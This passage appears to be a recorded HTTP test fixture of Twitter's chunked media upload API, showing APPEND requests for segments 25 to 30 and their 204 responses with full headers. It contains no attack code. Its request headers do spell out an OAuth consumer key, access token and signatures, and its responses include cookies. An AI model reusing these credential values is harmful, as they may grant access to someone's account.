https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:07 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:07 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_fwRCRWovqdo11PF\/Y70SKg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:07 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112706894255; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:07 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "b7f6f96fbb7ac6f84c67e4d6a45d66ba", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19928", + "x-rate-limit-reset": "1587864356", + "x-response-time": "28", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00a1084c003c2543", + "x-tsa-request-body-time": "97", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"ISjjOsz1ZBKv5d5MUGpJB2bvRmI%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=mVWvcm8SaVVEde3PJjicf26oJYQIHcFYVUXnORYUeGKITV5hUdRK8%2FIrUbKYkTAj59EGO2vkRjr9Ol9Xf0y%2BLOuqjtjroMcZTF5lxv4OTh0dt8np%2BNXKPbrnLYcuSKxa3SeyyxPe8cSwtMwCFyMyo8Y4ASCZ%2FZwWTljBYqRLuc3V8p56AGLXE1pewv0Fb2DZMnGerv%2Bz5LS%2FDuKiL3T7xvH9VOVUYMKtE9rBXb8gFEM4fF0morDwr%2B16PDG8Zzd5Jz6D%2BKckm5bCrjM2zyifLaoZ7gN3RJ0DiQfUL0jfiR1cOJsg9ltHWcgBRLfTopX5Q1%2Fblbr25XX%2Bb1miydzSCSluJE0ZTkqZ4w3IUx0wOLaX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YJKq7AITyeLZvw6AZARVVFQ9zdbw%2FwVrKhdMA5zAwKMDLiEekFnu4s3BqohI0ku%2B48FzMFdQcptF8jVttMYkQP0%2B15%2FGNRepP06lvWoq%2FgYnBxFfQITbKSQTTDBHffI%2BWw3TJ%2FA%2FygoQEgJjdoDqft9nYlwnAtBJWIeSflje4xMnu94GngfGwpfDRwRH8ZrKzwtN9wM2M5pxDQV8BYCA%2FShAsHGCV2x3yK3pFwthZIC1hMP3%2FHEP35CgjhsR8SWY8wJwWF1VaTaqqt2heburqkV%2F1erVhtX%2FWX61y916viFr1r9XlvnV%2FAlALILjHLbitxRz5pd5fWb8cgQ35831gUygSSBm0JcwE%2FmoLf7gZhASBODhEwGeOjg3Yt6wfaz8%2BvJ6ghBoAlwkKBMAkiAjqfX3wio74G5S8GVLKRS8GrllU5cIKcggySELXGJmctYhM%2BcLHLlisVit8PuB2k5dT7LU1ezQQSfyoXXFyXJxC6%2FXpfXp75te4BvgnWWvQKUMZuEAlJ9i0Ni%2FXvBIC75KuqOXqpa0Re76EPperSml%2FXqv9cK3Vvdepf080Qx4SAaqeJE61vUZfNU9R2qKO%2BmMwBR1qN8wcGpW2JD7y7%2BmBiQcWlhd%2BVGQAFwWlz74%2BiKqQR7jCviLi69e%2FXufoxWmL%2F%2FJc%2FXk8Twl0aAfsFLXHDtCQUnavOuVQEkUdN7Lr6ItEp2CTce9M%3D&media_id=1254206535166763008&segment_index=25" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:07 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:07 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_ou8d9mrDzIO8rnW1ZFSs\/g==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:07 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112764361972; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:07 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "67763eadec8ab8a4876aa436003e92bf", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19927", + "x-rate-limit-reset": "1587864356", + "x-response-time": "34", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "0027a46f008b64a3", + "x-tsa-request-body-time": "96", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"9rBdp6AR5R7JRKjlkG6plDGbhtY%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=%2F4r5un%2B0P6S8v%2F%2Fxi98IUK5NV7Fd3Jl16%2BpaSgkFCeBctgoZJZAI5rrBYSbss7izJ5Pi%2FCg0pCE%2BcryR62EGA3d9iEici%2B2Nb4UgOpf9BQGAcHojrkL%2FbwEvvsedpH9ytiEI%2Fjny%2Fzm%2BT6PJVRpLcQssko3GY986FQcJGOFyDmVFV%2FGsNM3EaKJlpFoQMZq4Uts3QFq7R%2B7Xq57hGu175179e6T5YiwUF3fcuXkL%2F379TCGmg4k7mvwvi61w11rccnXjiAZ6B2fSrv3q2CEiiOew%2BQhciHuvINRPtAKA6ztQSmGC66CNjN0N5EJOq%2FCk9L0i5sNxsu4lGcaZA4Z9La9q4k8%2BrKgQdjPgPmpZUQtCTCVBr%2FcxfjMQdL9oFE9wNCakOsHVctxFnpTmw1YM5MYbSH99yx1oQVdMYBAbpbxlg%2BMhd76lIq2q2jBv0ev1Y4Jb9ek9fd8twDlBNrAT4pd5ICHMLFbiHFxaACagiBd8BEhAEhOEzZeLL%2F6lEiXkSesv6%2BK48OXRxHH9ipo0%2BlnNPiF%2FncDKG0WXy%2FYf%2FG0XQGf5FEbBR1dCGPpcBXmq%2FwQnC6Mnuz82971wWZc3qYgvwMVpjmX9fCBA9jVNSCAj3QlTH%2BYNwn38r8uh2hy%2F56hvCIlE2YP54k3qGO7s497X8dRP2OK4O96zwY9Pd%2Fjo5PYZrRF8oL8hFQXpSqNx%2Fr6HkWzZVsOViN02T0Xvterpe%2BSp%2FBGJy%2F%2BtWsVLwEUCAXd99ZPfwHkQBlLXgTQgERm5cxDgrim5M4GoExarFl9oCEUGgMQbAhBBitwI%2FYQgDgcDQSXOhkJtc%2FY8ukMmepK1AIofKHooAAgFwC8hqAWYih8Vehi7A1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qnaEE1aBKrhwCRak13%2BPwiSE6VTB%2BiMr0ku0feAsgRHEk9Yn54b%2FWVjvUmEquTerVclyXb4VbIKNu78tc2EVC6yIhqmj7pE3hBXEpCLTbeYyYzzQ%2F8g4QNv9jCoDc%2BWaFcsv4WZZb8ynUQis1ykHHpYn3U6hKDJWOMc%2Bnt0pqrdyi12h73Itm9rSzZbDBmiBVJ3t1Wa%2B47jH84Zfob9rFUzeXmz6wnMEHE4bnnxcH%2FHv4hz4btVhCYCDBUBjlElyzJA58tviju%2B%2Fi%2B8UtWj8%3D&media_id=1254206535166763008&segment_index=26" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:08 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:08 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_pWESYokmOKFnV03Hdm++nQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:08 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112818783626; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:08 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "a426f2e97e26804cc0efdb85090eb00f", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19926", + "x-rate-limit-reset": "1587864356", + "x-response-time": "31", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00d69f2c0050093a", + "x-tsa-request-body-time": "64", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"cdyvv%2FBPfYka75gUpuXZOowArfc%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=ViqxV6sTXNfxH6lu%2B1lfBSLGU6d79Cykd3esD0EoNA0XVQFnR8FVpC11wT550B%2BjbVpM3hKU3CE2MKpAwO74qLxf3XNZPX%2Fn1R%2BlEcvqZK3WL9Ycm3pYeAnixg4Jr3JoxGH9MlCbbhYQEW5guIELc2QYlkdJQGg9FVHDCYUk8q9I7Ws0BBDcIkIuheNGDa6SfNQWRJLHh9VQGpy5qqnBKJRhXrl%2BORqW7KsulzfaCNeb%2BrHxXV%2Btlbq88vd%2BvSXzq3cvlEYUHw%2Fz%2BT8AoQNGKxQodB8pdAdHwfe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tatvcivEC6TVyX5rIi6yMkPyV8Df3O0f8dh%2FFBoyFPfUunVCVqlqHG29CjEvapuX7Xtf1h%2FxN476E16sTeuU79oEG5BitaMMSMAIT00tfPrTnW0MCYqMOM90bbf7QeJ5aAHdJqJiCwO4IUGpDAGtkomTN7Q7oRZHiHp81eNmGIKCqTDUuqXwKYWB%2BFroOxpsD4P9qewB7h9zfN5TR77gBF8UuiTl74Vtjw0WHihccdCdawzYZKesAL6FjmAgippgjTWGIIg4dXQ9eJ1AGo%2BhBsCDPPJaeJaZ1HUT7%2B7%2FYM%2FnKpzjBFv%2Bt1EGvRsFLQggPoKeP%2Bx5qyprmN0kbOoFwN8fXCSNOyxRZf2i0wU3V9q%2FxdU5ug%2BPDbDnkG8LT7oOtYJxLhiH0%2Bq5Ycax8V5dONPt38mjDO8rBSLCMpKVkJgxM9le8adL0kpPlwYj%2FD8d9bgtSTHF0kny76NGGeFEO7fodLOjmv%2Flrl%2FXu79evVXY5aVcCiEBXd3zZwLYICEffg%2FDwTM93fW8eeCDwEb8D2JMJ4Arm4SoHvjebB8fUo6Ynl2kiMGQWRXlbp1srcakmGZ%2Fp%2F5faavGw5PJVhY8OEzGxLVmXPhuwee2M%2BBr4kNYbIqUq4kB8xwglxd3L%2F9gggLW0XmCOP%2But75Glfp97c3Xc73ErcHl3pem4PgCWauIw0MB4EULkj46IDL%2F9jfQMfwastbSeVFAmM51FjpGXFlN%2BsQPXbB2FBqeefKiGLl4jpuJm3JZol6H6pl8JHWOhKn%2FBGTOcISyy%2Fr4ICUcbGsJM%3D&media_id=1254206535166763008&segment_index=27" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:08 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:08 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_2rC3yHHaeeCMY7As3WucKw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:08 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112878094850; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:08 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "bb4022da03a58093169d546e6d7d5b3e", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19925", + "x-rate-limit-reset": "1587864356", + "x-response-time": "35", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "0095cea800f0ecb1", + "x-tsa-request-body-time": "96", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"Z8jsv6e1ht3y8puTyYsPa%2FerRlM%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=h7x0WiRHNoZUInd74Rs%2FHgp8S4qa5WEvLL95WZAjsZhJjHyjffeCjhO87GrvPvHS6wy%2BvqHTmH4uoK3v9cWCbue14x1GCQw0Syh7dpyfKr0FSWhlajwMf94MTPgI5HCGopqpgXD%2BT7tlkSC1Wqmkks4JRpaFnr%2F5BSPl8tilmuR%2BviRlPM8wUve8D8EgE0GgTlFbvuKxR38DwhsQAOCAHBQAGWAMQ5LBn4OngWHNl68l6adXJF9uOc1TRn%2F6BKU3CFK6kOjF6PVYn78AW30GxeHkWH7zwX%2FFQ2wHQofX%2FmZk5fk4D3OXRBpPkYnf7DnvfCmEBMCBcjZzsw%2BsmMyXGsBye%2BntAsNchDfZZKB5eLw%2BuM3y%2BquWFSx7YTXNTGEHsUEqPUo5HML%2F2N6U7BuTG5cQPjtDgHEI8cAAsHgDynsohg0qTJO9aBQXaHLnd7n40mK6GA92mQT0zrTeqTLrbBpbhZuVexwoD8KofsO2sBC87KUrZviMd8pZcHySTO7FPvBErGTeo%2FyJ7jLRDk%2FixHlCpA0xJBJFg67HHdjB5OvIaSpS%2Bq1h%2FYSLmRd0DttpYR6a3n40IxYcXyo%2BW5f38O0YimVWQfIMR5r8VOljCC%2BOhf6yXDV3HIlA07LBjLOyh0o0UsDxThXdgy8fh6mEJUNSp5ddcr5YG6%2FFW%2Bjk9Sl6zlX71v8PrTyNekuvJ%2Be8lektX8RrR8wmZwLA0zSEKZfB48p7nD3qz%2B%2FzUZgRmbT3ILvjKtN77aL3Cgq3nPHWZYX%2BX6wVATLD5CxZA2oG%2FrzXmAH8AMscd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79cpLWv174mS6u9BExeBcxrJ%2BQ7BCGgP4QIGBiqpylQY3jSSTSMyurtfMzJmw2Wom2TualRi9PP5k1H8jZbSD9jrD%2BxFC4ZRguDMH2ih6MFANwe0oA6jAGkUbwRjFQ3LvNHx2IEhofoU4wwYafdvWRK%2F8d6sCKJArIbqcgndHe0rv8lAfEvyxaFfgZGWEonJL%2FI7emTP8ss2S%2BBXHhUJkyh3w491kzbiKlV%2BYyfO%2FFgnGlx0QteY%3D&media_id=1254206535166763008&segment_index=28" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:09 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:09 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_6yJjrf6tPGkf62VuuY8UMw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112935178444; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "8a084e0cb820099c7e1f171e46b386ec", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19924", + "x-rate-limit-reset": "1587864356", + "x-response-time": "31", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00a259d5001cf6c8", + "x-tsa-request-body-time": "69", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"Awx5TUISBHXs2Rzo8%2BLwlPE6y8s%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=xQY3SfrmjLhJXU1RVh%2Bit8NKUrjZzgnBB5qAt%2FjBNJ99PAbvaeZe7eY5dRT%2FwmCMMUCnk8kxeq4O82f7Qvu16tV6S199TXE7rX6pQWAugTCiY4h8Q9XbxTHEficeLfzUtu%2FL4dh6d9uo7RIDh44W98rLHbnumzo27wJYUG7xW56nc1FbltwvUEzMFdQHYVSGUfg7oYk9wXMMqeQlJKDqYg2xaBPArHCA014rbMxbOW0%2Bqh6fvzAe5b%2Fv8QRfDw%2FohBSdaAM6A5mXUmKlnHWmh16eDswxmP%2FoFha%2BBgbgctWwvllRUvGNSB65fBug8UVno9u7ivfU7EKaaZaw%2BxDc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Gh40EbvCMmD9HBf4akdp7Dl71YGDDFx%2F9pBCh7AIV5PKKEwPSEw7wgL0LJD%2B905DEkvhmzMr3fSm2F8HwfmDblkVDWA%2F5d%2F7DpQUz0%2BPPjHS5Njh%2FL3t2sigX39MpjsMwRvnUZX7fDPcMBOUqWHb63l7dudq7%2BBv6DhDoHoffeeGX2LWsbn9pQriWPjglEBg%2BSFCHo2lYJA4En5Bd%2Fueqa%2BT8CLeY9f8hONgsb%2Bht33GOiK9MSQAZg4NSMc9QV6IdaKDv0qJEY7KBgiWzb32sWMgRS%2Be8lXYINb6YaIpJty%2FHSRFDZs3xMpS5%2BY79NgTaegqFqcO4SiMtzGXAviGCUbdq%2F89vrOS6Jl6VLABTO8kJm5jirIivTMhsKmdfLdUQKs5OBv%2FkIOLFWBukYAbhMRe2wCae713fandtZB8124lVdsX4VnBxcD%2BQyhlbQ%2FpUoIR%2BM6S%2BlaETB62IAhmmKOHZYtx3F%2BCV0yCR9L0cNrjPDKdOv8n2pidDaNBjMok5rtY2bFogz97pQ464w%2B7VNS9735YU4%2F69lD82YE4V3Cd4%2FhvkB1RAr2oUyxb2L4qLlq1IMwV8qT73RMNjXuREf%2B32tVX3mvDovieEs4lI%2FdWWT9%2Fie%2BdDuqdc3d5X5fmSte%2B5Zsn61rggwHYMPwpYecK9CiWEFwjqEzFlGkE%3D&media_id=1254206535166763008&segment_index=29" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:09 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:09 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_PtVWwHTE+lfKzZp3DJ0Z4Q==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112995588563; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "d7f2dd35bb4cdbae597b6b9c4dc57a50", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19923", + "x-rate-limit-reset": "1587864356", + "x-response-time": "37", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00e808e000994db7", + "x-tsa-request-body-time": "96", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuU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rS1u1ld9%2BjLUqt7nDM29UpttH3k%2FffJMABIIQQ%2FH9Z8v%2FTh%2FHssy4xbx8QG9ZzTw3TKroL4Jrw4i6FvQ60aGcqVtgjvd8PwRYcHoO00x%2FwS1yY%2BPgu7jPu%2FXD8N3vVWU0P%2BSGCQhRva7C8WaH0Krwrlp8I2BRgRQFzYlNj7%2BxXpCCUIMQI%3D&media_id=1254206535166763008&segment_index=30" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:10 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:10 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_KImBMpt7QSUPqH+jP7d3wQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113053714705; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + 